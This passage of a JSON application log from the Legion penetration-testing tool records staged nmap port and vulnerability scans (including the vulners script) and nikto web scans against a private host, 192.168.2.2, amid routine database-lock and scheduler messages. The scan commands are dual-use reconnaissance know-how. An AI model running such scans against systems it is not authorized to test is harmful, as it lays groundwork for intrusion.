{"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:41,273", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:07:41,276", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} +{"time": "2019-02-26 13:07:41,278", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} +{"time": "2019-02-26 13:07:45,641", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:45,643", "name": "Waiting 0.73s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:46,396", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:46,566", "name": "Process 2 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:07:46,658", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:07:46,842", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:46,845", "name": "Waiting 0.49s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:47,358", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:47,360", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:07:47,365", "name": "runStagedNmap called for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:07:47,368", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:07:47,375", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:07:47,381", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:47,395", "name": "Waiting 0.57s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:47,999", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:48,004", "name": "Queuing: nmap -sV --script=./scripts/nmap/vulners.nse -vvvv 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130747368080-nmapstage3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:07:48,048", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:48,050", "name": "Waiting 0.44s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:48,519", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:48,521", "name": "runCommand called for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:07:48,522", "name": "runCommand connected for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} +{"time": "2019-02-26 13:07:48,527", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} +{"time": "2019-02-26 13:07:48,528", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} +{"time": "2019-02-26 13:07:48,534", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} +{"time": "2019-02-26 13:07:49,397", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:49,398", "name": "Waiting 0.15s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:49,564", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:51,250", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:51,252", "name": "Waiting 0.84s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:52,094", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:56,552", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:56,554", "name": "Waiting 0.87s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:57,445", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:57,451", "name": "Process 4 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:07:57,456", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:07:57,474", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:57,475", "name": "Waiting 0.46s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:57,965", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:57,967", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:08:02,105", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:08:02,107", "name": "Waiting 0.66s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:08:02,770", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:09:35,726", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:09:35,727", "name": "Waiting 0.72s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:09:36,467", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:09:36,473", "name": "Process 3 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:09:36,479", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:09:36,480", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:09:36,481", "name": "Waiting 0.5s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:09:37,006", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:09:37,008", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:10:56,316", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:10:56,318", "name": "Waiting 0.58s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:10:56,924", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:10:57,060", "name": "Process 5 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:10:57,178", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:10:57,415", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:10:57,419", "name": "Waiting 0.87s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:10:58,310", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:10:58,313", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:10:58,316", "name": "runStagedNmap called for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:10:58,320", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:10:58,326", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:10:58,328", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:10:58,330", "name": "Waiting 0.99s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:10:59,340", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:10:59,344", "name": "Queuing: nmap -T4 -sC -n -sSU -p T:23,21,22,110,111,2049,3389,8080,U:500,5060 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226131058319994-nmapstage4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:10:59,388", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:10:59,391", "name": "Waiting 0.09s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:10:59,497", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:10:59,499", "name": "runCommand called for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:10:59,500", "name": "runCommand connected for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} +{"time": "2019-02-26 13:10:59,505", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} +{"time": "2019-02-26 13:10:59,506", "name": "Running tools for: telnet on 192.168.2.2:23", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:10:59,507", "name": "Running tools for: domain on 192.168.2.2:53", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:10:59,516", "name": "Running tools for: http on 192.168.2.2:80", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:10:59,523", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:10:59,525", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:10:59,535", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:10:59,537", "name": "Waiting 0.53s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:00,089", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:00,094", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226131059518548-nikto-192.168.2.2-80.txt -p 80 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:11:00,139", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:00,141", "name": "Waiting 0.43s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:00,588", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:00,590", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:11:00,591", "name": "Running tools for: http on 192.168.2.2:443", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:11:00,600", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:11:00,604", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:11:00,605", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:00,606", "name": "Waiting 0.23s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:00,856", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:00,861", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226131100592831-nikto-192.168.2.2-443.txt -p 443 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:11:00,905", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:00,909", "name": "Waiting 0.76s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:01,688", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:01,690", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:11:01,691", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} +{"time": "2019-02-26 13:11:01,692", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} +{"time": "2019-02-26 13:11:01,802", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:01,805", "name": "Waiting 0.9s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:02,708", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:04,379", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:04,380", "name": "Waiting 0.28s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:04,676", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:04,759", "name": "Process 8 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:11:04,822", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:11:04,960", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:04,964", "name": "Waiting 0.88s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:05,869", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:05,872", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:11:05,875", "name": "runStagedNmap called for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:11:05,879", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:11:05,887", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:11:05,890", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:05,892", "name": "Waiting 0.82s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:06,729", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:06,737", "name": "Queuing: nmap -T4 -sC -n -sSU -p T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226131105879222-nmapstage5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:11:06,776", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:06,778", "name": "Waiting 0.92s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:07,719", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:07,721", "name": "runCommand called for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:11:07,722", "name": "runCommand connected for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} +{"time": "2019-02-26 13:11:07,728", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} +{"time": "2019-02-26 13:11:07,784", "name": "Running tools for: telnet on 192.168.2.2:23", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:11:07,785", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} +{"time": "2019-02-26 13:11:07,786", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} +{"time": "2019-02-26 13:11:08,600", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:08,601", "name": "Waiting 0.28s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:08,884", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:11,599", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:11,601", "name": "Waiting 0.72s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:12,324", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:16,443", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:16,445", "name": "Waiting 0.23s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:16,701", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:16,708", "name": "Process 10 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:11:16,716", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:11:16,717", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:16,718", "name": "Waiting 0.56s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:17,294", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:17,296", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:11:18,692", "name": "Killing process: 16146", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 554}} +{"time": "2019-02-26 13:11:18,702", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:18,707", "name": "Waiting 0.65s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:19,376", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:19,424", "name": "Process 11 Crashed!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 716}} +{"time": "2019-02-26 13:11:19,425", "name": "Process 11 Output: \n\tStarting Nmap 7.70 ( https://nmap.org ) at 2019-02-26 13:11 Central Standard Time", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 718}} +{"time": "2019-02-26 13:11:19,428", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:19,429", "name": "Waiting 0.61s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:20,059", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:20,066", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:11:20,067", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:20,069", "name": "Waiting 0.81s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:20,905", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:20,907", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:11:20,909", "name": "runStagedNmap called for stage 6", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:11:22,093", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:22,094", "name": "Waiting 0.43s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:22,527", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:34,706", "name": "Killing process: 16113", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 554}} +{"time": "2019-02-26 13:11:34,709", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:34,710", "name": "Waiting 0.11s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:34,841", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:34,908", "name": "Process 9 Crashed!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 716}} +{"time": "2019-02-26 13:11:34,909", "name": "Process 9 Output: \n\t- Nikto v2.1.5---------------------------------------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": 